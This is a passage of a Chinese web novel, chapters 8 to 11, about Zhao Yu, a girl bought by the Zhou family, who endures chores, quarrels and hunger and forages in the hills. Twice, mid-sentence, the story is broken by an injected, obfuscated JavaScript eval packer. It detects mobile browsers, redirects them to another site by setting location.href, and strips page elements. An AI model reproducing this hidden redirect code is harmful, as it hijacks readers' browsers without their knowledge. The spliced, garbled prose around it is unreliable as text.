郑婆子笑意差点维持不住,见赵榆洗到现在盆里竟还剩下一件,忍不住开口,“你这手脚也忒不麻利了,怎么还有剩下的?” 赵榆搓着衣服,不好意思道:“婶子你说得对,这小孩的衣服确实难洗,也不知道他在哪滚的,黏了好大一块黑汁,洗也洗不掉。” 郑婆子看向其他人的情况,还是选择在这边等,“洗不掉就不要浪费皂豆子,随便搓搓就行了。” 赵榆点头应下。 见她终于要洗最后一件,郑婆子这才压下心中的不爽利。 然而直到又一个空位被抢走,郑婆子这才觉得后悔,早知道她就不等这臭丫头的。 比她晚来的都洗完半盆了,就她还站在这等! 郑婆子深觉自己一大早就吃了大亏,现在看赵榆的后脑勺都生厌。 在心里暗骂:搓搓搓,搓烂最好! 然后端起盆就去其他人身后等。 赵榆见她走了,缓缓吐出一口气。 这衣服洗得够久了,不能再磨蹭。 余光见又有人来,忙将手里的衣服清了水,挤干放好,端起木盆起身。 见来人朝着她这边来,她离了洗衣位,还不忘对着那边的郑婆子道:“婶子,我洗完了,你可以来这边。” 郑婆子在赵榆站起来时,就暗恨她是在和自己过不去。 偏偏自己一走,她就跟着洗完,不是故意的是什么? 郑婆子板着脸端着盆往这边赶,但她再快,也快不过年轻的小媳妇。 眼睁睁地见又一个洗衣石被占,郑婆子气的脸上的笑都维持不住。 8. 第八章 等赵榆端着洗干净的衣裳回去,周婆子果然嫌她洗的太慢。 周麦因赵榆明目张胆的不接她的衣裳,心里恨得不行。 冷笑道:“在外头多磨蹭会儿,家里的活就少干一件,这种道理娘你难道不懂?” 周麦瞥了眼盆里,“就这么几件衣服,一刻钟也就差不多了,她竟花了快半个时辰,铁定是为了躲懒。” 赵榆可不能让“懒”这个字落到头上,忙解释,“这时候洗衣裳的人多,空位子全靠眼利手快,我倒是抢着了一个位子,但因天热,衣裳汗液多,便想着多捶捶,能洗干净些。” 这话说的中听,周婆子本就嫌大热天的,衣裳发臭,这赵榆能将衣裳洗干净些,多费些时间也不当什么。 见周婆子这么轻易的就放过赵榆,周麦暗瞪了她一眼转身就往灶房去。 早上煮的是粥,只放了小半碗米,为了不显得稀,周婆子让方春梅加了些豆子和青菜放里头一起煮。 灶台上摆满了碗,装了或多或少的粥,周麦端了一碗最满的离开。 方春梅翻了个白眼,这小姑子竟将属于她爹娘的那碗拿走了。 好在自己的那碗没放在这,被她藏在了碗柜里。 但方春梅不敢让公爹婆母吃不饱,为了不挨骂,她将属于二嫂的那碗粥倒了些下来,加到了另一个碗里。 看着二嫂碗里剩下不到一半的粥水,方春梅没有一点心虚。 心虚什么? 不干活的人就该吃得少! 将全部的粥碗送到堂屋,方春梅这才回到灶房,从碗柜里端出自己的那碗,吹了吹热气,等喝了几口后,瞧着没那么满了,才放心的去了堂屋。 路过院子,见赵榆盯着她手里的碗瞧,忙用手遮了遮,语气不好地道:“看什么看,你的在灶房,还想着我送到你手上不成。” 听到对方也给自己留了粥,赵榆心下一松,等人进了堂屋后,她这才快步往灶房去。 然没等她高兴多久,灶台上那空荡荡的碗,让她顿时失了力气。 碗里的粥水仅仅能将碗底铺上一层,只两三口的量。 怎么少…… 怎么够吃…… 赵榆愁苦不已,只是她不知道的是,这是方春梅给她的报复。 谁让昨日那碗本属于她的蛇肉粥,被赵榆给吃了。 那么大一碗,还有不少的蛇肉,全被她给吃了,方春梅气的晚上都没睡好。 这要是不给对方点教训,她心里头这气难消。 赵榆无奈地将这点粥全喝了下去,甚至用不上筷子,碗底沾着的一点青菜叶,她直接用手指给挑了出来,塞进嘴里。 不敢在灶房逗留太久,将碗洗了之后,打算去院子里寻些事情做。 刚出了屋檐,一滴水落在她的脸上,紧接着,豆大的雨点便噼里啪啦的直往下掉,又急又猛。 赵榆连忙跑进自己住的屋子里,原还有些亮的天现在是彻底黑了下来。 这场大雨下了许久也不见小,到了午时,院子里已经下不了脚,连院子外头的村路也沉积了不少泥水。 可就是这般泥泞不堪,仍有人愿意冒着雨水出门,还是上周家的门。 隔着杂乱的雨声,赵榆听见院门被重重的拍响。 正在她犹豫要不要冒雨去开门时,堂屋的周谷已经带着斗笠出来了。 院门没被全部打开,赵榆一时看不清来人是什么模样。 两三句话的功夫,周婆子也跟着出来,往院门去。 赵榆还在疑惑来人是不是周家的亲戚邻里,怎么下这么大的雨,他们不进屋说话,倒是一方站在院门外,一方站在院门内。 这般想着,就见院门外伸进来一只手,竟对着周婆子的脸指指点点,恨不得戳上去。 周婆子哪能忍,一巴掌拍过去,眨眼那只手就被她给打落下去。 这般大力,隔着雨幕,赵榆似乎都能听见这巴掌声。 她见周婆子双手叉腰,衣袖湿了都不顾,扯着嗓门就对外面的人开骂。 隐约间她似乎听见:“你们两个这不要脸的婆娘,生出的儿子也不是个好东西,茅坑吃屎的狗瞧着都比他们顺眼,缺心肝的玩意儿,报应都在后头呢,可等着吧!” 说完直接让周谷关门,说烂人不配进他们老周家的门。 赵榆心中上上下下的,这还是她第一次见周婶这么生气,活像是对待仇人。 这时,堂屋突然发出一声凳子倒地的动静,紧接着,周婆子就气势汹汹的往这边来。 见她目光盯着的是自己,赵榆的心猛地浮起。 “……周婶,是有什么活需要我做吗?”赵榆压下心慌,问的小心翼翼。 “你和外人说了什么?”周婆子狠狠地盯着她,让赵榆下意识就觉得会有巴掌扇过来。 赵榆心中慌张,但脑中不断去思索对方说的话是什么意思。 外人指的是谁?她又说了什么话? 可几乎不用犹豫,她就能确定这事多半与自己无关。 她才来周家多久,就连周家人她都没全部说过话,又怎么可能与外人接触过? 想到这里,赵榆虽还紧张,却不再心慌,“周婶,您是不是误会了什么?我才被您带回来没几天,村子里的人和事,对我而言都十分陌生,我又怎么会与别人说上话?” 她说的没错,这点周婆子心里也清楚。 为了防她刚来没养熟,周婆子前两天是眼都不离地盯着她,就怕她跑了。 院子门是一直关着,只让她干院子里的活计,若不是周麦吵着不愿去地里,周婆子是没打算让赵榆这时出去的。 但就是这第一次去地里干活,她见人全须全尾的回来了,不仅活干得好,还让她家老二避免被蛇咬,她就下意识放松了心神,觉得这人进出没什么大问题。 因此,今早这衣服她才让赵榆拿去了河边去洗,而不是像昨天一样,在院子里用缸里的水对付。 只是没想到的是,就是这一次让她出门,就给自己找事。 周婆子看她不清楚情况的模样,索性直接道:“你是不是与那郑婆子说了话?她问你什么,你都如实告诉她了对不对?” 郑婆子? 赵榆立即想起早上那位说话不好听的婶子。 周婆子看她的样子,就知道她是想起来了,咬牙切齿道:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273268|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老虔婆就是个黑心肝的,你瞧着她好说话,就倒豆子似的把真话全给她说了,岂不知她心里正笑话你是个蠢货呢!” 周婆子气得牙痒痒,伸手指着赵榆,骂道:“你就是蠢,猪都比你聪明,真是可惜了我那四两银子,买了你这么个蠢货回来!” 赵榆脸色发白,尤其在听见对方后悔把她从人贩子手里买回来时,她后背冒出一层汗。 周婆子身后站了不少周家人,要说赵榆被骂谁最高兴,排最前头的一定是周麦,她可还记着早上的仇。 周麦:“娘,现在后悔了吧,要我说,这事还得怨你自个儿,四两银子买不了牛,那就买猪呗,过年了还能杀了吃肉,可不比买个她好。” 不大的小屋,被人占了大半,门口的光也被挡的严严实实。 瞧着老老少少的周家人,赵榆鼻尖酸涩,眼眶差点就要包不住涌上来的泪水。 方春梅也适时的在后头补话,“娘,小妹说的在理,我看我们还是把她再卖给人牙子,把咱们的钱要回来,然后再买头猪回来养。” 看着她们脸上幸灾乐祸的笑,赵榆紧了紧手,将喉咙里头的哽咽吞咽下去,“周婶,我感激您愿意花银钱买我回来,这般大的恩情,即便那郑婶子再和善,我也断不可能说周家的不好。” “她确实与我说了不少话,可我回她的也不过一两句而已,言词中也并没透露什么。” 这时站在最后头的周老汉对周婆子劝道:“你也莫要生气了,欠债还钱本也是天经地义,不怪人家上门要债。” “四两银子的事也不一定是她透露出去的,你们说话不忌口,时不时的拿四两银子说事,被外人听去了也是有可能。” 周婆子瞪向周老汉,“这倒成我的错了?咱们家在村尾,谁闲着没事过来趴门听人屋里头的话?” “铁定是有人的嘴不严实,脑子又蠢,给人哄着说出去了。”说着,她不仅看了眼赵榆,还扫了方春梅、周麦两人。 方春梅笑意一顿,不满地道:“娘,你看我作甚?该不会怀疑是我说的吧!” 周婆子没理她,想来也不会是她,倒不是说她嘴严实,相反,而是她嘴实在太讨嫌,村里人不愿意和她说话,就连郑婆子好像都在她那儿受过气。 周麦见娘视线落在自己身上,下意识咽了咽口水,张嘴就道:“不是我!” 她指着赵榆,“是她,娘,你刚刚不还认为是她说的吗?” “谁洗几件衣裳要花近半个时辰?我估摸着,她就是与郑婶子聊得忘了时间。” 说完,见赵榆盯着她,周麦嚷道:“看什么看!”然后嫌弃地移开目光,不愿正眼瞧。 赵榆看着周麦的侧脸,淡淡地收回视线,“周婶,我之所以多花时间在河边,确实就像早上说的那样,为了将衣裳洗干净一些。” “也因为我长时间占着洗衣石,为了等我让位,那郑婶子错失了几次抢位子的机会,连带着看我的眼神都冷淡许多。” “我当时还担心同是一个村的人,将郑婶子惹生气了,会不会给您带来麻烦。” 赵榆一边说着,一边观察周婆子的神情,见她面色有所和缓,心中才定了一定。 9. 第九章 周婆子在听了赵榆这番话后,确实不再如之前那般生气。 她听懂了赵榆的意思,简单来说,就是那老虔婆吃了亏,白白花了时间在河边等。 周婆子觉得堵胸口的那股气似乎通顺不少。 她问道:“你走后,那位子谁用了?” 赵榆摸到了周婆子的心思,忙道:“是个年轻的小嫂子,郑婶子腿脚慢没跑过她,我回来时,她仍旧在等。” 周婆子冷哼一声,骂道:“真真是活该!” 赵榆知道这事没解释完,想到刚刚周老汉说的话,心里有了底。 再次开口道:“郑婶子嫌弃我手脚不麻利,并不愿意和我说话,只是在和别人闲聊时,说了一句‘若是周家将那四两银钱用来买粮,我们这些缺粮的,还可以去借上一借’。” 周婆子一听,重重呸了一声,“即便我将银钱用来买粮,也绝不借她!用来喂猪都不借!” 气过之后,周婆子明白过来,赵榆的意思是,四两银子的事,不是郑婆子从她嘴里知晓的。 对于赵榆的解释,周婆子虽没全信,却也信了大半。 这姑娘瞧着年轻,但也不是个傻的,既然她要在周家讨生活,就不敢欺骗她这个老婆子。 周婆子骂完姓郑的老虔婆,又开始骂刚刚来的那两个人。 “不要脸皮的玩意儿,还敢上我周家的门?他叶家还不是一样都是泥腿子,跟谁比高贵呢?” “不过是断了手脚而已,就哭爹喊娘地上周家找不痛快,要吃要喝的,乞丐都比她们要脸。” 周老汉:“行了行了,你现在高声叫骂有什么用?人家也听不到。” 周婆子:“我就是要大声骂,将他们叶家的福气全骂掉!” “三子又没将他们打残废,就敢上门要十几两的赔偿,他们怎么不去抢呢!” 周老汉懒得再听下去了,转身往堂屋走,“人家里正让你赔十几两,你敢不赔?” 周婆子张了张嘴,想连着里正一块骂,但好在她还有理智,将那些不能出口的话压了下去。 里正可是官老爷的人,谁敢得罪。 然,周婆子还是忍不住低声说了句:“即便是要赔,那白纸红字上也写了是半年之后,她们现在上门讨要又是作何?!” …… 等人都离开,赵榆的屋里终于进了些许光线,不再显得逼仄黑狭。 坐在床边,她还在想着刚刚的事。 周婶那般生气,可能不是因为用四两银子买人的事被债主叶家知晓,毕竟周婶敢将她领回来,就不怕别人知道。 她之所以生气,叶家上门讨债是一方面,另一方面估摸着是以为周家出了“叛徒”,敢将周家屋里头的事说给外人听。 这是周婆子无论如何都接受不了的。 周家是她当家,所有人都在她手里管着,若真是有胳膊肘往外拐的,那便是在她头上动土,她怎么会放过? 至于周婶口中大骂的叶家,赵榆并不了解,不过见周婶那般恨意满满,想来是有一番仇怨的。 * 这件事让周家错过了午食,赵榆自然也就没有东西下肚,此时胃里空荡荡的。 周家人不会缺少东西果腹,但应该不会记得给她送上一些来。 如此,只能等晚上那顿了。 赵榆双手撑着床侧,因全身没什么力气,连坐着都显得难受,恨不得现在就躺下。 但她不敢。 就是坐着,她都得留心外头的动静,觉得坐的有些久了,便起身去到门外站上一会儿,为的不过是让周家人看一眼,让他们知道她一直在候着。 又一次从床上站起身,赵榆闻到了丝丝米粥的香味。 咽了咽口水,她将一个小木墩移到门口,然后坐下,后背靠在土墙上,眼睛始终盯着那边的堂屋。 一直没听到灶房的动静,原来是煮的米粥。 想到不久前从她门前匆匆走过的方婶子,她当时手里好像端着个陶瓮,想来那里面装的就是粥了。 赵榆舔了舔唇,原本有些萎靡的脸上,终于是有了些许精神。 再等等,等周家人吃完,就能轮到她了。 然而直到天彻底黑下,隔壁的灶房上了锁,周家人仍是没想起她。 方春梅收好灶房的钥匙,从赵榆的房前经过,瞥了一眼坐在漆黑屋里的赵榆,脸上的笑是怎么也掩不住。 吃她的锅巴,还喝她的肉粥,不给这贱丫头一点教训,还真当自己是周家人了? 饿着吧,只要不饿死就行。 雨天既然干不了活,那这粮食就不该进她的嘴,浪费了不是? 屋外讽笑声传进屋里,赵榆垂着头,任由眼泪不听使唤地淌出来,滴在地上。 流了七八滴过后,赵榆抹了抹眼,这一饿她似乎将心里饿出毛病来了,不然她刚刚怎么突然涌起一阵怨恨,竟然还想将外面的方嫂子打一顿? 就连脑子都受了影响,她这饥饿无力的身体如何打得过做惯了农活的方春梅? 到时候不仅会被发卖,自己也落得个鼻青脸肿,可能还会断几块骨头。 看了眼对面没有任何光亮的正屋,赵榆坚持不住地躺倒在床上。 昨晚才经历的一次正经洗漱,当下她已经没了这个心思。 赵榆闭上眼,想着睡过去就不会那么难受,可正是由于饥饿,她不仅睡不着,脑中还胡思乱想个不停。 正当她又想着偷粮食逃进山里时,屋外传来脚步声,轻盈又活泼。 赵榆睁开眼,侧头看向门口。 今晚格外昏暗,没散去的乌云即便是黑夜也将天幕盖的牢牢的,不让一丝光溜出来。 所以赵榆没看见扒在门框的脑袋,但由于对方眼睛太亮,她还是轻易对上了。 赵榆:“……谁?” 她不是不害怕,只是……这人个子实在太矮了些…… 屋外回应道:“大牛来喽。” 听着这童声,赵榆没有太意外。 周家就两个小孩,能跑的这么轻松活泼的就只有大一点的孩子了。 赵榆艰难起身,放柔声音道:“原来是大牛啊,天这么黑,你怎么过来了?” 门口拦着防猪的木板,不算高,但对孩子而言,还是难跨进来。 赵榆走过去,想要将他抱进来,哪想他扭了扭身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273269|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,朝她怀里塞了个布袋子,转身就跑了。 赵榆忙接过差点掉地上的布袋,张口想让他别跑,外头下了雨土地湿滑的很,一不小心就会摔一身泥。 只是没等她开口,就听见“啪”的一声,不作他想,显然是已经摔了,还是摔趴在了积水的坑里。 赵榆一惊,跨过木栏就要过去,然后就见大牛已经先一步被人抱起。 直到大屋的门被关上,她还能隐约听见周谷憨厚的声音正哄着大牛,让他莫哭。 返回小屋,赵榆打开布袋子,虽看不见,但那属于食物的香气还是争先恐后的被吸进鼻子里。 赵榆眼睛一亮,迫不及待地捏起数粒吃进嘴里。 是豆子! 约莫是留的时间有些久,这豆子不脆,还很难嚼。 可赵榆不介意,她又抓起一把塞进嘴里,艰难的咀嚼几下,就伸着脖子咽下去。 这些豆子是用火烤出来的,除了焦味,就是附在豆子上的些许柴灰有些卡嗓子。 赵榆一边大口地吃着,一边想着这豆子该是周二哥烤出来给孩子磨嘴的,这下倒是便宜她了。 豆子不是很多,抓了几把过后,只剩薄薄的一层铺在布袋底部。 赵榆没再动这点豆子,得留一些到明日。 胃里有了东西,总算不再泛着疼,就连入睡都容易不少。 次日,天还未亮,赵榆又被饿醒。 吃的那些豆子只管上半夜,下半夜她又是一副饥肠辘辘的模样。 但好在她还残留着睡意,迷迷糊糊中还能受得住。 摸出一旁的布袋,里面的豆子够她抓握两次。 赵榆带着豆子去了外头的水缸边,打算一边吃一边喝水,混个半饱。 几口豆子混着凉水下肚之后,赵榆将布袋口朝下对着掌心,将里头剩下的那七八粒豆子连带着细小的杂物全倒了下来。 赵榆噘嘴吹了两下,自认为将干灰吹干净后,仰头就倒进嘴里。 嚼了几下过后,眉头一皱,脸上立即泛苦。 嘴里除了被她嚼碎的豆子外,还有一股又臭又腥的虫子的汁液。 昨晚没有将布袋子系严实,竟让虫子给爬进去了! 赵榆张着嘴,吞也不是吐也不是。 若是吐了,豆子就可惜了,若是不吐,那被她嚼开的虫子尸体还在她的嘴里…… 赵榆舌头不受控制的颤了颤,最终还是选择不吐。 饿肚子的感觉太难受,这口只要吞下去,就能将她的胃再填塞一个角落。 况且,虫子……也是肉菜的一种。 想到这里,她将瓢里的水全倒进嘴里,合着嘴里的虫子尸体,囫囵地吞咽下去。 然而虫子虽吞下去了,但嘴里的怪味还是存在,直到涑了几次口后,才消停下来。 乌云依旧未散,远一些的高山也被湿雾笼罩,一看就是还有一场大雨在蓄力。 方春梅占着雨天不做活省力的借口,再次将赵榆的口粮减下大半,只留下两口的粗粮饭给她填填胃,别饿死。 赵榆平静的将这点食物吃下去,扫了眼面上一片笑意的方春梅,心里第一次有了恶感。 10. 第十章 昨天的那场大雨,催生了不少的好东西。 例如山里头的菇子。 一大早,周家的院门外时不时的有人路过,全是挎着篮子上山采菇子的妇人。 为家里添一道菜的机会,没有人会傻的不去做。 连周婆子在起床后,不断地催促方春梅快些将早食做好,吃完和她一道去山里采菇子。 方春梅不大愿意,山里头湿着呢,这时候正是爬虫多的时候,还有那毒蛇,万一踩住了,想跑都来不及。 她故意磨蹭着,连烧灶台的火也刻意放慢动作。 好不容易在周婆子黑沉着脸吃完早食要出门了,她又匆匆跑去茅厕,借口肚子痛走不了路。 周婆子再也忍不住脾气,冲着她就破口大骂,“吃了就拉的玩意儿,猪都知道在肠子里留一会儿,你倒是上面吃下面紧跟着就拉……” 赵榆在屋里头听着,见方春梅蹲在茅房里不出来,她立即走了出去。 正好她想去山里头看看,有周婶作伴,应该会安全不少。 然而,明明她已经做好了准备,却不想最终被强行带去的是周麦。 周婆子不选赵榆的理由很简单,山里的菇子多,但能吃的就那几种,眼见着她已经比别人晚了不少,不带着有经验的去帮着采,岂不是将好菇子全让出去了。 周麦即便不情愿,也不得不拿上篮子跟在后头,临走时见赵榆站在房檐下,嫉妒的差点眼红。 看着两人走远,赵榆心中有些可惜,想着下次再找机会一同去。 然而,当腹部再次响起饥饿声时,赵榆沉默一瞬,便决定独自去山脚转一转。 若是能寻些野果子也是好的。 趁着人都在屋里,赵榆寻了个机会出了院门。 不敢跟在采菇子那些人身后,想了想,她朝着周家菜地的方向跑去,那边也靠近山,虽然长满了树,瞧着是没有小路能进去,但去看看也无妨。 赵榆跑几步歇一会儿,就这样还喘着粗气。 好在路不远,一刻钟后她就到了周家的地里。 又继续往上爬了一段,终于是站到平地上。 这块平地绿草悠悠的,瞧着就肥沃,但由于这里的树冠不小,将地面全都笼罩阴影里,阳光照射不下去,倒是不利于开荒种地。 赵榆瞧着这些有小腿高的草,心下有些害怕。 菜地里都有毒蛇,这里会不会更多? 为了不让自己有打退堂鼓的想法,赵榆捡了个粗壮的树枝对着草一阵敲打。 这么做显然是为了吓退那些蛇虫。 可能是这方法奏效,她顺利的到了山边。 若是要进山,首先得爬上一道坎坡,且这道坎坡比赵榆整个人还要高。 坎坡垂立着,上面还长满了各种杂草藤刺,想要徒手爬上去那就是妄想。 不过若是就这么回去,赵榆总有些不甘。 她心中有忧虑,想着万一哪一天真要偷周家的粮,为了不被打死,总要有地方给她躲藏。 而山里就是个好地方。 但如果真要逃命到这里,山里的情况就不能不熟悉。 赵榆转头左右看了看,拿着棍子一路敲敲打打,将这长长的坎坡观察了一遍。 显然,只要有这藤刺存在,她是无论如何都上不去的,除非她不怕疼,不怕身上被划烂。 赵榆皱眉,难不成真要放弃? 这时,一段绿色卷曲的长条被她看见,乍一看像碧绿的蛇,赵榆当真有些被吓到。 用棍子将杂草藤刺拨开,她这才看清是树藤。 它缠绕在藤刺上,有成年人拇指粗。 赵榆视线寻到它的末端,发现是从坎坡上其中一棵大树上垂下来的。 赵榆想了想,小心翼翼的将树藤从藤刺上解开,然后用力的扯了扯,看起来似乎很结实。 站在平地上使不了力,也荡不起来,随即赵榆选中了一棵树爬上去,等爬到差不多有坎坡高了才停下。 再一次扯了扯树藤,确定没问题后,赵榆双手紧抓树藤,然后双脚猛地一蹬树干,缩着腿就被荡了起来。 赵榆紧着心,十分担心这藤条承受不住她。 好在最后她顺利地落到坎坡上。 上来之后,眼前的景象已经十分不一样。 脚下的坎坡就是分水岭,若坡之下是人能活动的地方,那坡上人就该被禁足。 粗大的树冠一个挨着一个,本就黑沉的天色被遮掩的更加阴森。 她不过才迈进山里一只脚,怎么仿佛到了深山老林?明明站在这里还能看见远处片片菜地呢。 赵榆试探着往里走了几步,每一步踩在厚厚的一层枯叶上,都要往下陷一些,就像是踩到了什么软体爬物…… 赵榆打了个寒颤,深觉选错了时间,她就不该在雨天进山。 潮湿又阴森的山林,赵榆已经没胆子再继续往里走。 正打算离开时,就见斜右前方有一个树墩,周围一圈是被柴刀砍出的齿状,这是人工砍伐木头的痕迹。 木墩不新鲜,看上去有些时日,但赵榆原打算离开的心思仍被驱散了一些。 原来这里也不是没人来。 像是获得了鼓舞,赵榆又往里走了一段,期间她不停的抬头看向树冠,寻找有没有用来果腹的野果子。 她记得板栗好像也是这个季节生长的,不知这里有没有野生的板栗树? 赵榆一边注意脚下,一边四处查看。 突然,头顶的树冠忽的发出一阵响,树叶不停抖动着,赵榆立即抬头看去,只见一棕色的背影闪过。 不等她视线追过去,那背影已经猛地钻进树叶里,藏头藏尾,就是让人发现不得。 赵榆虽被吓到,但也没放在心上,这么大的山林子,有几只会爬树的毛皮动物也不奇怪。 想着刚刚一闪而过的毛茸茸的背影,赵榆猜测那很可能是只猴子。 猴子而已,赵榆不怕,便也没当回事。 但她不看在眼里,不表示猴子也愿意相安无事。 砰! 后背突然被砸了一下。 赵榆猛地回头,没发现别的奇怪的地方,倒是刚刚藏猴子的那丛树叶又开始晃动。 低头搜寻,想要看看是什么砸的她,硬硬的,砸中肩膀 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赵榆眼睁睁的看着它跳到了自己头顶的树枝上,然后抱着一个枝丫就大力摇晃,像是兴奋的发了疯,恨不得将这树枝给折断。 但它体型不够,瞧着只有指尖到胳膊肘那么长,还很肥胖,不像是个有能耐的猴子。 但虽折不断树枝,它却能摇叶子,摇秃了一个再换一个。 顿时赵榆头顶这块就开始掉叶子,还有不少枯枝杂物也跟着掉下来。 赵榆本就是抬着头的,这一睁眼,自然有东西落近了眼睛里。 她连忙闭眼,难受的抬手就去揉,好一会儿才将那东西揉出来,是一个细小的树皮碎屑。 赵榆气的不行,捡起地上的长树枝就对着它一顿挥,“走!快走!该死的猴子!” “哇哇哇!” 她一说话就像是在鼓动它似的,摇的更欢了。 赵榆无法只能跑开,不然她头顶不知道要落多少杂碎。 但她一跑,猴子也跟着来,然后继续在头顶作乱。 赵榆被惹的起了心头火,趁着它跳到一棵比较细的树上时,抓住机会就抱着树摇。 她虽然很饿,但憋着气还是能用上一些力的。 树尖左摇右摆,赵榆看着那惹人嫌的猴子吊在树枝上吱呀乱叫,有种大仇得报的快感。 她想要将它晃下来,但这猴子也机灵,趁着她力气稍顿的时候,就甩着胳膊一荡,立时就到了另一棵粗壮的大树上。 看着它一路哇哇大叫着离开,赵榆只能叹一句可惜。 差点就能抓住它了。 担心它是离开搬救兵,赵榆不敢在这多待,一只猴子还行,数量多了那就是灾难。 山里都是树,一棵接着一棵,一片连着一片,没有路,四通八达的,什么方向都能走。 若不是她走的不深,且进来时刻意记了方向,赵榆这次估计会昏了头。 一边往回走,一边失望这次什么收获都没有。 为了填肚子过来,却不想更加饿了。 11. 第十一章 正叹息着,突然—— “哇哇哇!” 赵榆步子一顿,猛地回头,就听见由远及近的哇哇声越发的清晰。 真的来了?! 赵榆又惊又慌,拔脚就跑。 它一定是带着一大帮猴子回来报复她的! 一想到这点,赵榆既后悔刚刚不该惹它,又后悔今天就不该进山来。 赵榆再是拼命跑,也跑不过猴子。 亲耳听着叫声离自己越来越近,直至出现在她头顶…… “哇哇哇!” 见她被追上,猴子的叫声越发的急促,活像是在嘲笑一般。 赵榆步子不停,一直往来时的方向跑。 但因被头顶的猴子扰了心神,她竟一时没注意,方向上有了偏差。 察觉到不对,赵榆只能慌乱地止住了脚步。 猴子虽然危险,但若是在山里迷了路也同样可怕。 不得已,赵榆只能停下重新辨认方向。 她这一停,给了头顶的猴子机会,在一顿哇哇叫之后,一个青红相间的圆形物什朝着赵榆后背袭来。 嘭! 砸中了赵榆的后腰,不等她有反应,紧接着又有一个砸过来。 赵榆抱着脑袋从一棵树躲到另一棵树后,忙乱地样子十分狼狈。 然而就是这般“抱头鼠窜”,她依旧没逃脱开,那些被投掷过来的圆形物什全都砸中她身体各处。 赵榆受不住了,既然没有她想象中的一大帮猴子,仍旧是这只独自在作孽,她也就没什么好怕的。 都是单打独斗,她难不成还怕一只猴子? 赵榆转头搜寻,想要找个足够长的树棍将它捅下来,或是石头也可以。 它能扔东西砸她,她难道不行? 但这两样短时间真的不好寻,一地的树叶,赵榆连泥巴都看不见,又哪来的石头? 倒是那又青又红的东西,她看见不少,全是那猴子扔下来的。 赵榆将离得近的全捡起来,捏起其中一个就要朝上扔出去。 胳膊已经抡起,眼见着就要投出去,赵榆突然被猴子嘴里叼着的东西吸引了视线。 这东西能吃? 赵榆疑惑。 将准备扔出去的圆溜东西拿到眼前细看,青红相间的果子皮十分光滑,上头有些许大大小小的虫洞,以及刚刚被啃过,看起来还格外新鲜的牙印。 被啃的这块果肉水盈盈的,不知道是猴子的口水,还是果子流出的汁水。 赵榆凑近闻了闻,没什么香味,且这果子质地很硬,不像是成熟的。 赵榆感慨这猴子真够坏的,这么硬的果子,也就比石头次一点,难怪砸人这么疼。 这果子她不认识,但猴子吃了都没事,她吃应该也没问题。 赵榆随手抹了两下果皮,试探地咬了一口。 有些酸,滋味不怎样。 难怪猴子舍得用来砸她,显然它也觉得不好吃。 但即便不好吃,赵榆也要把这些果子全捡起来。 她今天来就是为了填肚子,这果子只要没毒,就是再难吃她也舍不得不要。 丢开要回击的想法,赵榆勾着腰就开始四处寻找。 至于树头上吱哇乱叫的猴子,赵榆选择无视。 之后仍有少量几个果子砸下来,虽然疼,但赵榆却没了之前的火气。 就连它气急败坏格外尖利的叫声,赵榆都觉得不再那么刺耳了。 将肉眼易见的最后一个果子捡起来后,仍没等到猴子继续砸,就知道果子已经被它扔光了。 赵榆心下可惜,它怎么不多扔一些? 她捡起的这些数量属实不多,最多保住她明天一天不挨饿。 担心有漏掉的,赵榆又细心地找了一遍,甚至疑心有果子滚进了枯叶里头,她时不时地还拿棍子拨一拨。 如此认真之下,还真让她又找着了两个。 头顶的猴子还在叫。 “哇哇!”听起来似乎带着挑衅。 赵榆专心找果子,不理。 “哇哇哇!”叫声中竟似含着被无视的气急败坏。 赵榆依旧没反映,在确定没有遗漏后,她兜着十来个野果就要原路返回离开山林。 这时,她突然听见身后有动静,一转身,就看见那猴子不知什么时候下了树,正张牙舞爪地站在离她几步远的地方。 赵榆大惊,连忙举起手中的木棍对着它,猛的挥了挥,威吓它不准靠近。 猴子确实被她手里的棍子吓退了一步,一个纵身就爬上了就近的一个大树上。 不等赵榆松口气,就见它速度极快的一跳一荡,眨眼间就到了她的身后。 赵榆连忙转身,警惕地盯着它。 一人一猴这般对抗着转圈,数次之后,趁着赵榆分心打算逃跑时,猴子抓住机会一个飞扑就往赵榆身上跳。 看着它狰狞的猴脸,赵榆心都跳到嗓子眼了,她没想到这猴子攻击性这么重,竟是不怕她手里的长棍。 危险在前,赵榆不敢再多想,松了衣角,任由那些果子散落,随即双手执棍,找准机会就挥了下去。 这一下本该落在猴子身上,奈何它十分机灵,一把抓住上空垂下来的枝条,轻巧地就爬了上去,让赵榆的这一棍落了空。 赵榆暗恼竟是让它躲了过去,为了防止它再次近身,逼不得已大叫大喊,试图喝退它。 “你再敢过来,明天我一定拿柴刀把你剁了下锅!”赵榆胡乱威胁着。 猴子听不懂人话,却受不住赵榆的吼叫声,几次过后,猴子一退再退,终于是再次回到了树顶躲着。 一丛茂密的树叶丛中,只漏出了一条长尾巴在甩来甩去。 赵榆可不觉得这尾巴可爱,想到那猴子刚刚张嘴时露出来的獠牙,她心都跟着紧了紧。 她得快跑,这里不能在留了。 随手抓起几颗果子,顾不上将它们全捡干净,趁着这时候猴子没缓过劲来,她必须抓住机会跑出去。 担心动静太大,会引起猴子注意,赵榆跑的格外小心。 一路上,头顶上方都十分安静,没有各种落叶掉落,仿佛这次的逃跑很顺利。 赵榆也是这般想的,但她不敢松懈,时刻注意身后的动静。 果然,就在她祈求猴子能在那树冠里多待一会儿时,它那“哇哇”声又再次响起。 